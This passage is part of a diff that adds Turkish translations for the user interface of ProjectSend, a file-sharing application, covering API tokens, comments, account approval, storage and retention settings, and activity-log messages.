geldiniz", + "What each kind of account is allowed to do": "Her hesap türünün neler yapabileceği", + "When an account is erased, its files and folders": "Bir hesap silindiğinde, dosyaları ve klasörleri", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Etkinleştirildiğinde, giriş yaparken telefonunuzdan bir güvenlik kodu istenir.", + "When off, self-registered clients wait in the account requests queue until approved.": "Kapalıyken, kendi kaydolan müşteriler onaylanana kadar hesap başvuruları sırasında bekler.", + "Where outgoing email is actually sent from.": "Giden e-postaların gerçekte hangi adresten gönderildiği.", + "Whoops!": "Hoppala!", + "Widgets": "Bileşenler", + "Worth including when you report a problem.": "Bir sorunu bildirirken eklemekte fayda var.", + "Written by": "Yazan", + "Yellow": "Sarı", + "Yes": "Evet", + "You are commenting too quickly. Try again in a moment.": "Çok hızlı yorum yapıyorsunuz. Birazdan yeniden deneyin.", + "You are commenting too quickly. Try again in :seconds seconds.": "Çok hızlı yorum yapıyorsunuz. :seconds saniye sonra yeniden deneyin.", + "You are not a member of any group yet.": "Henüz hiçbir grubun üyesi değilsiniz.", + "You are receiving this email because we received a password reset request for your account.": "Hesabınız adına bir parola sıfırlama talebi aldığımız için bu e-postayı alıyorsunuz.", + "You can only share with the clients assigned to you.": "Yalnızca size atanmış müşterilerle paylaşabilirsiniz.", + "You cannot comment on this file.": "Bu dosyaya yorum yapamazsınız.", + "You cannot deactivate your own account.": "Kendi hesabınızı devre dışı bırakamazsınız.", + "You cannot delete your own account.": "Kendi hesabınızı silemezsiniz.", + "You have no notifications yet.": "Henüz hiç bildiriminiz yok.", + "You will no longer receive files shared with the group \":name\".": "\":name\" grubuyla paylaşılan dosyaları artık almayacaksınız.", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "Hesap bilgileriniz kısa süre önce bir yönetici tarafından değiştirildi. Bunu beklemiyorduysanız yöneticinizle iletişime geçin.", + "Your account has been approved": "Hesabınız onaylandı", + "Your account has been created. You can log in now.": "Hesabınız oluşturuldu. Artık giriş yapabilirsiniz.", + "Your account has been deactivated.": "Hesabınız devre dışı bırakıldı.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "Hesabınız hemen devre dışı bırakılır. :days gün sonra, etkinlik kaydındaki kimliğinizi belirleyen bilgiler de dahil olmak üzere kalıcı olarak silinir — bu işlem geri alınamaz.", + "Your account request has been approved. You can now log in.": "Hesap başvurunuz onaylandı. Artık giriş yapabilirsiniz.", + "Your account request has been denied.": "Hesap başvurunuz reddedildi.", + "Your account request has been received. You will be able to log in once it is approved.": "Hesap başvurunuz alındı. Onaylandığında giriş yapabileceksiniz.", + "Your account request has not been approved yet.": "Hesap başvurunuz henüz onaylanmadı.", + "Your account request was denied": "Hesap başvurunuz reddedildi", + "Your account was updated": "Hesabınız güncellendi", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "Hesabınız şimdi devre dışı bırakılacak ve :days gün sonra kalıcı olarak silinecek. Onaylamak için parolanızı girin.", + "Your account will no longer require a second code at login, making it less secure.": "Hesabınız girişte artık ikinci bir kod istemeyecek, bu da onu daha az güvenli kılar.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "Yöneticiniz bu hesapta iki adımlı doğrulamayı zorunlu kılıyor. Devam etmek için aşağıdan kurun.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "Özelleştirdiğiniz konu ve metin hemen silinip varsayılan metinle değiştirilecek — bu işlem geri alınamaz.", + "Your download should start automatically.": "İndirmeniz kendiliğinden başlamalı.", + "Your existing recovery codes will stop working immediately.": "Mevcut kurtarma kodlarınız hemen çalışmaz hale gelecek.", + "Your group membership request was approved": "Grup üyeliği başvurunuz onaylandı", + "Your group membership request was denied": "Grup üyeliği başvurunuz reddedildi", + "Your groups": "Gruplarınız", + "Your previous request to this group was declined. You can request again later.": "Bu gruba yaptığınız önceki başvuru reddedildi. Daha sonra yeniden başvurabilirsiniz.", + "Your request to join the group \":group\" has been approved.": "\":group\" grubuna katılma başvurunuz onaylandı.", + "Your request to join the group \":group\" has been denied.": "\":group\" grubuna katılma başvurunuz reddedildi.", + "Your request to join the group \":groupName\" has been approved": "\":groupName\" grubuna katılma başvurunuz onaylandı", + "Your shared file library": "Paylaşılan dosya kitaplığınız", + "API tokens": "API belirteçleri", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "Belirteçler, harici bir aracın API üzerinden sizin adınıza, yalnızca burada verdiğiniz izinlerle işlem yapmasını sağlar.", + "Token name": "Belirteç adı", + "e.g. Zapier": "örn. Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Onu kullanacak aracın adını verin ki sonradan neyi iptal ettiğinizi bilesiniz.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Bir belirteç sizden fazlasını asla yapamaz. Yalnızca aracın ihtiyaç duyduğunu verin — kendi izinleriniz değişirse belirteç de onu izler.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "Yalnızca API'nin şu an işlem yapabildiği izinler listelenir. Yeni uç noktalar yayımlandıkça burada başkaları da görünür.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Bir belirtece verebileceğiniz henüz hiçbir şey yok — şimdiye dek yayımlanan API uç noktalarının hiçbiri izinlerinizle örtüşmüyor.", + "Select all": "Tümünü seç", + "Clear all": "Seçimi temizle", + "Expires in (days)": "Şu kadar gün sonra sona erer", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Süresi hiç dolmayan bir belirteç, biri elle iptal edene kadar geçerli kalır. Gönül rahatlığıyla unutabileceğiniz bir tarihi tercih edin.", + "Create token": "Belirteç oluştur", + "Copy your token now": "Belirtecinizi şimdi kopyalayın", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "Yalnızca bu seferlik gösterilecek. Yalnızca bir özet saklıyoruz, bu yüzden sonradan geri alınamaz.", + "Copy to clipboard": "Panoya kopyala", + "Copied": "Kopyalandı", + "Your tokens": "Belirteçleriniz", + "Revoking a token takes effect immediately.": "Bir belirtecin iptali hemen geçerli olur.", + "You have not created any tokens yet.": "Henüz hiç belirteç oluşturmadınız.", + "Expired": "Süresi doldu", + "Never used": "Hiç kullanılmadı", + "Last used :date": "Son kullanım :date", + "Revoke this token?": "Bu belirteç iptal edilsin mi?", + "Any tool using it will stop working immediately. This cannot be undone.": "Onu kullanan her araç hemen çalışmayı durduracak. Bu işlem geri alınamaz.", + "This file type is not allowed for upload.": "Bu dosya türünün yüklenmesine izin verilmiyor.", + "View the client list": "Müşteri listesini görüntüleme", + "View the group list": "Grup listesini görüntüleme", + "Origin": "Kaynak", + "All origins": "Tüm kaynaklar", + "Web UI": "Web arayüzü", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Belirteci düzenle", + "Save token": "Belirteci kaydet", + "The token is shown once, immediately after it is created, and never again.": "Belirteç yalnızca bir kez, oluşturulduktan hemen sonra gösterilir ve bir daha gösterilmez.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "Belirtecin kendisi değişmez. Onu zaten kullanan her şey, burada belirlediğinizle çalışmayı sürdürür.", + "Changing permissions takes effect immediately": "İzin değişiklikleri hemen geçerli olur", + "The existing token keeps its value, so whatever holds it gains or loses these permissions right away. Revoke and create a new one instead if you want a fresh secret.": "Mevcut belirteç değerini korur; dolayısıyla onu elinde tutan her ne ise bu izinleri anında kazanır ya da kaybeder. Yeni bir gizli anahtar istiyorsanız bunun yerine iptal edip yenisini oluşturun.", + "Some permissions no longer apply": "Bazı izinler artık geçerli değil", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "Bu belirteç, bugün hiçbir işe yaramayan izinler taşıyor; kaydettiğinizde bunlar kaldırılacak: :abilities", + "Token updated.": "Belirteç güncellendi.", + "How external tools can act on this installation on your behalf.": "Harici araçların bu kurulumda sizin adınıza nasıl işlem yapabileceği.", + "OpenAPI specification": "OpenAPI belirtimi", + "Endpoints": "Uç noktalar", + "Method": "Yöntem", + "Tokens": "Belirteçler", + "Your tokens and what they have been doing.": "Belirteçleriniz ve neler yaptıkları.", + "Every token on this installation and what it has been doing.": "Bu kurulumdaki her belirteç ve neler yaptığı.", + "Show all tokens": "Tüm belirteçleri göster", + "Show only mine": "Yalnızca benimkileri göster", + "Manage tokens": "Belirteçleri yönet", + "Requests (7 days)": "İstekler (7 gün)", + "Failed (7 days)": "Başarısız (7 gün)", + "Median response": "Ortanca yanıt süresi", + "No requests yet": "Henüz istek yok", + ":count expired": ":count süresi dolmuş", + "Requests": "İstekler", + "Succeeded": "Başarılı", + "Failed": "Başarısız", + "Request history is kept for :days days.": "İstek geçmişi :days gün saklanır.", + "Request history is kept indefinitely.": "İstek geçmişi süresiz saklanır.", + "No tokens yet.": "Henüz belirteç yok.", + "Owner": "Sahibi", + "Last used": "Son kullanım", + "History": "Geçmiş", + "Busiest endpoints": "En yoğun uç noktalar", + "No requests in the last 7 days.": "Son 7 günde hiç istek yok.", + "Recent changes made through the API": "API üzerinden yapılan son değişiklikler", + "Full history": "Tüm geçmiş", + "Nothing has been changed through the API yet.": "API üzerinden henüz hiçbir şey değiştirilmedi.", + "API usage": "API kullanımı", + "Open the API dashboard": "API panelini aç", + "You have no API tokens. Create one to let an external tool act on your behalf.": "Hiç API belirteciniz yok. Harici bir aracın sizin adınıza işlem yapabilmesi için bir tane oluşturun.", + "API request history (days)": "API istek geçmişi (gün)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "API panelinin her isteğin kaydını ne kadar sakladığı. Bu, kullanım geçmişidir; etkinlik kaydı değildir — etkinlik kaydı bir denetim izidir ve hiç temizlenmez. Süresiz saklamak için 0 girin.", + "A category was created": "Bir kategori oluşturuldu", + "A category was deleted": "Bir kategori silindi", + "A category was renamed": "Bir kategorinin adı değiştirildi", + "A comment was approved": "Bir yorum onaylandı", + "A comment was deleted": "Bir yorum silindi", + "A comment was edited": "Bir yorum düzenlendi", + "A comment was posted on a file": "Bir dosyaya yorum yapıldı", + "A custom asset was created": "Bir özel varlık oluşturuldu", + "A custom asset was deleted": "Bir özel varlık silindi", + "A custom asset was disabled": "Bir özel varlık devre dışı bırakıldı", + "A custom asset was enabled": "Bir özel varlık etkinleştirildi", + "A custom asset was updated": "Bir özel varlık güncellendi", + "A custom field was created": "Bir özel alan oluşturuldu", + "A custom field was deleted": "Bir özel alan silindi", + "A custom field was updated": "Bir özel alan güncellendi", + "A deleted account's files and folders were deleted": "Silinmiş bir hesabın dosya ve klasörleri silindi", + "A deleted account's files and folders were reassigned": "Silinmiş bir hesabın dosya ve klasörleri yeniden atandı", + "A file was made private": "Bir dosya özel yapıldı", + "A file was made public": "Bir dosya herkese açık yapıldı", + "A file was previewed": "Bir dosya önizlendi", + "A folder was made private": "Bir klasör özel yapıldı", + "A folder was made public": "Bir klasör herkese açık yapıldı", + "A group was made private": "Bir grup özel yapıldı", + "A group was made public": "Bir grup herkese açık yapıldı", + "An API token was created": "Bir API belirteci oluşturuldu", + "An API token was revoked": "Bir API belirteci iptal edildi", + "An API token was updated": "Bir API belirteci güncellendi", + "An expired file was automatically deleted after its retention grace period passed": "Süresi dolmuş bir dosya, saklama süresi geçtikten sonra kendiliğinden silindi", + "An orphan file was automatically deleted after its retention grace period passed": "Sahipsiz bir dosya, saklama süresi geçtikten sonra kendiliğinden silindi", + "An upload was cancelled": "Bir yükleme iptal edildi", + "Approved a comment on the file \":subject\"": "\":subject\" dosyasındaki bir yorumu onayladı", + "Cancelled uploading the file \":name\"": "\":name\" dosyasının yüklenmesini iptal etti", + "Commented on the file \":subject\"": "\":subject\" dosyasına yorum yaptı", + "Created the API token \":token_name\"": "\":token_name\" API belirtecini oluşturdu", + "Created the category \":subject\"": "\":subject\" kategorisini oluşturdu", + "Created the custom asset \":subject\"": "\":subject\" özel varlığını oluşturdu", + "Created the custom field \":name\"": "\":name\" özel alanını oluşturdu", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "Silinmiş \":name\" hesabına ait :files dosya ve :folders klasör sildi", + "Deleted a comment on the file \":subject\"": "\":subject\" dosyasındaki bir yorumu sildi", + "Deleted the category \":name\"": "\":name\" kategorisini sildi", + "Deleted the custom asset \":name\"": "\":name\" özel varlığını sildi", + "Deleted the custom field \":name\"": "\":name\" özel alanını sildi", + "Deleted the expired file \":name\"": "Süresi dolmuş \":name\" dosyasını sildi", + "Disabled the custom asset \":subject\"": "\":subject\" özel varlığını devre dışı bıraktı", + "Edited a comment on the file \":subject\"": "\":subject\" dosyasındaki bir yorumu düzenledi", + "Enabled the custom asset \":subject\"": "\":subject\" özel varlığını etkinleştirdi", + "Made the file \":subject\" private": "\":subject\" dosyasını özel yaptı", + "Made the file \":subject\" public": "\":subject\" dosyasını herkese açık yaptı", + "Made the folder \":subject\" private": "\":subject\" klasörünü özel yaptı", + "Made the folder \":subject\" public": "\":subject\" klasörünü herkese açık yaptı", + "Made the group \":subject\" private": "\":subject\" grubunu özel yaptı", + "Made the group \":subject\" public": "\":subject\" grubunu herkese açık yaptı", + "Previewed the file \":subject\"": "\":subject\" dosyasını önizledi", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "Silinmiş \":name\" hesabından :files dosya ve :folders klasörü :target hedefine yeniden atadı", + "Renamed the category to \":subject\"": "Kategorinin adını \":subject\" olarak değiştirdi", + "Revoked the API token \":token_name\"": "\":token_name\" API belirtecini iptal etti", + "Updated the API token \":token_name\"": "\":token_name\" API belirtecini güncelledi", + "Updated the custom asset \":subject\"": "\":subject\" özel varlığını güncelledi", + "Updated the custom field \":name\"": "\":name\" özel alanını güncelledi", + "Manage client custom fields": "Müşteri özel alanlarını yönetme", + "Moderate comments": "Yorumları denetleme", + "Only me": "Yalnızca ben", + "Visible to anyone who can open this file, including visitors who are not logged in.": "Bu dosyayı açabilen herkese görünür; giriş yapmamış ziyaretçiler de dahil.", + "Anyone, including visitors who are not logged in": "Herkes; giriş yapmamış ziyaretçiler de dahil", + "Staff and clients": "Ekip ve müşteriler", + "Staff only": "Yalnızca ekip", + "No files — commenting is off": "Hiçbir dosya — yorum yapma kapalı", + "Only files marked as commentable": "Yalnızca yoruma açık işaretlenmiş dosyalar", + "Public files only": "Yalnızca herkese açık dosyalar", + "Shared files only": "Yalnızca paylaşılan dosyalar", + "(blank = inheriting the site default)": "(boş = sitenin varsayılanını devralır)", + "(blank = unlimited, no site default is set)": "(boş = sınırsız, site için varsayılan belirlenmemiş)", + "(deleted file)": "(silinmiş dosya)", + ":authorName commented on \":fileName\"": ":authorName, \":fileName\" dosyasına yorum yaptı", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName, \":fileName\" dosyasına yorum yaptı ve onay bekliyor", + ":count comments": ":count yorum", + ":count file updated.|:count files updated.": ":count dosya güncellendi.|:count dosya güncellendi.", + ":count waiting for approval": ":count onay bekliyor", + ":guest commented on the file \":subject\"": ":guest, \":subject\" dosyasına yorum yaptı", + ":name — files": ":name — dosyalar", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": "Seçilen :requested dosyadan :updated tanesi güncellendi. Kalanlar, düzenleme izniniz olmadığı için atlandı.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Logonuzun etrafına kurulmuş iddialı bir başlık — Gallery görünümüyle birlikte, markanıza yakışan özenli bir gelen kutusu sunar.", + "Access": "Erişim", + "Access key": "Erişim anahtarı", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "Bu ayarın kapsadığı hesaplar yalnızca uzantısı aşağıdaki izin listesinde olan dosyaları yükleyebilir.", + "A clean, neutral layout that works well for any kind of file sharing.": "Her tür dosya paylaşımına yakışan sade ve yalın bir düzen.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "Giriş yapmamış birinin yorumu, bir denetçi onaylayana kadar gizli kalır.", + "A comment is waiting for approval": "Bir yorum onay bekliyor", + "Activity history for :name": ":name için etkinlik geçmişi", + "A daily task permanently deletes files past their expiration date and grace period below.": "Günlük bir görev, son kullanma tarihini ve aşağıdaki bekleme süresini geçen dosyaları kalıcı olarak siler.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Günlük bir görev, aşağıdaki bekleme süresinden eski yerel sahipsiz dosyaları kalıcı olarak siler.", + "Add categories": "Kategori ekleme", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Herkese görünür bir dosyaya yorum yaparken \"Herkes\" seçeneğini ekler. Bu olmadan yorumlar yalnızca giriş yapmış kişilere ulaşır.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Ekrana daha çok dosya sığdıran, hesap tablosu tarzı yoğun bir liste — büyük koleksiyonlar ve sık yükleme yapanlar için ideal.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Görsel gezinme için tasarlanmış tam genişlikte bir fotoğraf ızgarası — fotoğrafçılar ve görsel ağırlıklı koleksiyonlar için en iyi seçim.", + "Allow clients to add files to this folder from their portal.": "Müşterilerin kendi portallarından bu klasöre dosya eklemesine izin ver.", + "Allow comments on this file": "Bu dosyaya yorum yapılmasına izin ver", + "Allowed file extensions": "İzin verilen dosya uzantıları", + "Allow public comments": "Herkese açık yorumlara izin ver", + "and :count more": "ve :count tane daha", + "Anonymous": "Anonim", + "Anonymous downloads": "Anonim indirmeler", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "Kendi kotası olmayan her müşteriye uygulanır; kendi kaydolanlar da dahil. Varsayılan olmaması için 0 girin (müşterinin kendi sınırı yoksa sınırsız).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "Herkese açık olarak işaretlediğiniz bir grubun sayfasına kendi bağlantısıyla her zaman ulaşılabilir — bu sayfa yalnızca temel adresi ve tüm herkese açık grupları ve dosyaları bir arada listeleyen isteğe bağlı dizini denetler.", + "A reset link will be sent if the account exists.": "Hesap varsa bir sıfırlama bağlantısı gönderilecek.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Bulut depolama uygulamalarından esinlenen ferah ve renkli bir düzen; net dosya türü simgeleri ve bol boşluklarla.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Fazladan süsü olmayan, yalın ve gösterişsiz bir tasarım — Compact görünümüyle uyumlu.", + "Auto approve new accounts": "Yeni hesapları kendiliğinden onayla", + "Automatically delete expired files": "Süresi dolmuş dosyaları kendiliğinden sil", + "Automatically delete orphan files": "Sahipsiz dosyaları kendiliğinden sil", + "A visitor commented on a file": "Bir ziyaretçi bir dosyaya yorum yaptı", + "Awaiting approval": "Onay bekliyor", + "Back": "Geri", + "Be careful when changing this list — it can affect the security of this installation.": "Bu listeyi değiştirirken dikkatli olun — bu kurulumun güvenliğini etkileyebilir.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "Boş = sitenin varsayılanını devralır (şu an :default MB). Bu müşteriye kendi sınırını vermek için bir değer girin.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "Boş = sınırsız (site için varsayılan belirlenmemiş). Bu müşteriye kendi sınırını vermek için bir değer girin.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Bulut depolama uygulamalarından esinlenen mavi vurgular ve düzenli bir yapı — Drive görünümüyle uyumlu.", + "Branding": "Marka kimliği", + "Bucket": "Kova", + "Bulk edit :count files": ":count dosyayı toplu düzenle", + "by": "yazan", + "Change at least one field before applying a bulk edit.": "Toplu düzenleme uygulamadan önce en az bir alanı değiştirin.", + "Check for updates": "Güncellemeleri denetle", + "Client access": "Müşteri erişimi", + "Client downloads": "Müşteri indirmeleri", + "Clients can register themselves": "Müşteriler kendileri kaydolabilir", + "Clients only": "Yalnızca müşteriler", + "Comment approved.": "Yorum onaylandı.", + "Comment deleted.": "Yorum silindi.", + "Comments": "Yorumlar", + "Comments are closed on this file.": "Bu dosyada yorumlar kapalı.", + "Comments already written stay readable even if a file stops accepting new ones.": "Bir dosya yeni yorum almayı bıraksa bile, daha önce yazılan yorumlar okunabilir kalır.", + "Comments awaiting approval": "Onay bekleyen yorumlar", + "Comment settings": "Yorum ayarları", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Giriş yapmamış ziyaretçilerin bıraktığı yorumlar. Siz onaylayana kadar kimse göremez.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Yeni yüklemelerin depolanacağı yer olarak harici, S3 uyumlu bir kova (AWS S3, MinIO ya da başka bir S3 uyumlu hizmet) bağlayın.", + "Custom endpoint": "Özel uç nokta", + "Custom field created.": "Özel alan oluşturuldu.", + "Custom field deleted.": "Özel alan silindi.", + "Custom field updated.": "Özel alan güncellendi.", + "Custom range": "Özel aralık", + "Default storage quota (MB)": "Varsayılan depolama kotası (MB)", + "Delete account?": "Hesap silinsin mi?", + "Delete failed job?": "Başarısız iş silinsin mi?", + "Delete them permanently": "Kalıcı olarak sil", + "Delete this comment?": "Bu yorum silinsin mi?", + "Delete this many days after being found": "Bulunduktan şu kadar gün sonra sil", + "Delete this many days after expiry": "Süresi dolduktan şu kadar gün sonra sil", + "Download :name": ":name dosyasını indir", + "Downloaded by": "İndiren", + "Download history": "İndirme geçmişi", + "Download history for :name": ":name için indirme geçmişi", + "Duration": "Süre", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "Her dosyanın düzenleme sayfasında \"Bu dosyaya yorum yapılmasına izin ver\" anahtarı bulunur. Yalnızca bu anahtarı açık olan dosyalar yorum kabul eder.", + "edited": "düzenlendi", + "Editing window (minutes)": "Düzenleme süresi (dakika)", + "Email settings saved.": "E-posta ayarları kaydedildi.", + "Error": "Hata", + "Every download, newest first": "Her indirme, en yenisi başta", + "Every download across the installation, newest first": "Kurulumun tamamındaki her indirme, en yenisi başta", + "Every recorded action, newest first": "Kaydedilen her işlem, en yenisi başta", + "Expiration": "Son kullanma", + "Expired :date": ":date tarihinde sona erdi", + "Expired only": "Yalnızca süresi dolanlar", + "Extension, e.g. pdf": "Uzantı, örn. pdf", + "Failed at": "Başarısız olma zamanı", + "Failed job deleted.": "Başarısız iş silindi.", + "Failed jobs": "Başarısız işler", + "Failed to connect: :error": "Bağlanılamadı: :error", + "File retention": "Dosya saklama", + "File retention settings": "Dosya saklama ayarları", + "Files accessible to :name": ":name için erişilebilir dosyalar", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "Diskte karşılık gelen bir kayıt olmadan duran dosyalar — yarıda kalan bir yükleme, bir geri yükleme, dosya sistemine elle müdahale", + "Files that accept comments": "Yorum kabul eden dosyalar", + "Filters": "Filtreler", + "Folder renamed.": "Klasör yeniden adlandırıldı.", + "Folders": "Klasörler", + "Grid view": "Izgara görünümü", + "Hold comments from visitors for approval": "Ziyaretçi yorumlarını onay için beklet", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Bir kişinin kendi yorumunu, gönderdikten sonra ne kadar süre daha düzenleyebileceği veya silebileceği. Hiç izin vermemek için 0 girin.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Süresi dolmuş bir dosyanın kalıcı olarak silinmeden önce ne kadar saklanacağı. 0, süresinin dolduğu gün siler.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Sahipsiz bir dosyanın kalıcı olarak silinmeden önce ne kadar saklanacağı. 0, bulunduğu gün siler.", + "IP address": "IP adresi", + "Job queued for retry.": "İş, yeniden denenmek üzere kuyruğa alındı.", + "Language: :language": "Dil: :language", + "Last month": "Geçen ay", + "Last ran": "Son çalışma", + "Last week": "Geçen hafta", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "AWS S3 için boş bırakın. MinIO veya Backblaze gibi S3 uyumlu bir hizmet kullanmak için doldurun.", + "Leave empty for a file that never expires.": "Hiç sona ermeyen bir dosya için boş bırakın.", + "Limit file types uploading to": "Yükleme dosya türlerini şunlar için sınırla", + "List view": "Liste görünümü", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Bu klasörü herkese açık yap. İçindeki her dosya — şimdi ve sonrasında, her derinlikte — herkese açık olur.", + "Message": "İleti", + "Moving": "Taşınıyor", + "Never run": "Hiç çalışmadı", + "Next cleanup :date": "Sonraki temizlik :date", + "No accounts match \":search\".": "\":search\" ile eşleşen hesap yok.", + "Nobody (no restriction)": "Hiç kimse (kısıtlama yok)", + "No comments yet.": "Henüz yorum yok.", + "No expired files.": "Süresi dolmuş dosya yok.", + "No extensions added yet.": "Henüz uzantı eklenmedi.", + "No failed jobs.": "Başarısız iş yok.", + "No files match these filters.": "Bu filtrelere uyan dosya yok.", + "None of the selected files could be edited.": "Seçilen dosyaların hiçbiri düzenlenemedi.", + "Nothing is waiting for approval.": "Onay bekleyen bir şey yok.", + "of :count": "/ :count", + "of :quota": "/ :quota", + "on": "tarihinde", + "Only the fields you change here are applied — everything else is left as-is.": "Yalnızca burada değiştirdiğiniz alanlar uygulanır — geri kalan her şey olduğu gibi kalır.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Yalnızca bu depolama etkinleştirildikten sonra yapılan yüklemeler etkilenir. Yerelde saklanan dosyalar orada kalır ve çalışmayı sürdürür — depolama alanları arasında taşıma yapılmaz.", + "Open public page": "Herkese açık sayfayı aç", + "Optional. Confines uploads to a subfolder within the bucket.": "İsteğe bağlı. Yüklemeleri kova içindeki bir alt klasörle sınırlar.", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "Sahipsiz dosyaların kendiliğinden silinmesi yalnızca yerel depolamada çalışır; bu nedenle harici depolama etkinken kapalı kalır — daha önce açılmış olsa bile.", + "Orphan files": "Sahipsiz dosyalar", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "Bulut hesaplarında giden e-postalar merkezî olarak yönetilen bir aktarıcı üzerinden gönderilir. Alıcılara görünen gönderen adresini ve adını yine de siz seçebilirsiniz.", + "Page": "Sayfa", + "Path prefix": "Yol öneki", + "Pending": "Bekliyor", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "projectsend.org'un herkese açık deposunda yeni bir sürüm olup olmadığını düzenli olarak denetler ve panelde bir bildirim gösterir. Hiçbir şey kendiliğinden indirilmez veya uygulanmaz.", + "Permanently failed": "Kalıcı olarak başarısız", + "Post comment": "Yorumu gönder", + "Preview of :name": ":name önizlemesi", + "Previous month": "Önceki ay", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "ProjectSend'in klasik e-posta görünümü — sade ve yalın; her herkese açık sayfa veya portal temasıyla iyi gider.", + "ProjectSend :version is available": "ProjectSend :version mevcut", + "Public folder": "Herkese açık klasör", + "Published :date": ":date tarihinde yayımlandı", + "Queue": "Kuyruk", + "Reassign them to another account": "Başka bir hesaba yeniden ata", + "Region": "Bölge", + "Remove a category": "Bir kategoriyi kaldır", + "Remove categories": "Kategori kaldırma", + "Rename folder": "Klasörü yeniden adlandır", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "S3 uyumlu hizmetlerin çoğu bunu ister (MinIO vb.). AWS S3 için kapalı bırakın.", + "Requires Upload files": "\"Dosya yükleme\" iznini gerektirir", + "Retry": "Yeniden dene", + "Root": "Kök", + "Scheduler": "Zamanlayıcı", + "Scheduler settings": "Zamanlayıcı ayarları", + "Search accounts…": "Hesaplarda ara…", + "Search and filter": "Ara ve filtrele", + "Secret key": "Gizli anahtar", + "Select files to bulk-edit them": "Toplu düzenlemek için dosya seçin", + "Sender identity": "Gönderen kimliği", + "Set to…": "Şuna ayarla…", + "Share": "Paylaş", + "Shared with client": "Müşteriyle paylaşıldı", + "Shared with me": "Benimle paylaşılanlar", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Bir klasörü paylaşmak, içindeki her şeyi şimdi ve sonrasında paylaşır. Paylaşımı düzenleme sayfasından yönetin.", + "Someone commented on a file": "Biri bir dosyaya yorum yaptı", + "Sort by": "Sıralama ölçütü", + "Storage settings": "Depolama ayarları", + "Storage settings saved.": "Depolama ayarları kaydedildi.", + "Success: connected to bucket \":bucket\".": "Başarılı: \":bucket\" kovasına bağlanıldı.", + "Task": "Görev", + "Test connection": "Bağlantıyı sına", + "Test result": "Sınama sonucu", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "Bu hesabın :files dosyası ve :folders klasörü var. Bunlara ne olsun?", + "This cannot be undone.": "Bu işlem geri alınamaz.", + "This client has no accessible files yet.": "Bu müşterinin henüz erişilebilir dosyası yok.", + "This deletion is permanent": "Bu silme kalıcıdır", + "This file is public because it's inside the public folder \":name\".": "Bu dosya, herkese açık \":name\" klasörünün içinde olduğu için herkese açıktır.", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "Bu klasör silinemez: içinde sizin yüklemediğiniz :count dosya var.|Bu klasör silinemez: içinde sizin yüklemediğiniz :count dosya var.", + "This removes it from the failed jobs list without retrying it.": "Bu işlem, işi yeniden denemeden başarısız işler listesinden kaldırır.", + "Total size": "Toplam boyut", + "To update, run:": "Güncellemek için şunu çalıştırın:", + "Unavailable while external storage is active": "Harici depolama etkinken kullanılamaz", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "Süresi dolmuş bir dosyanın aksine, sahipsiz bir dosyanın geri 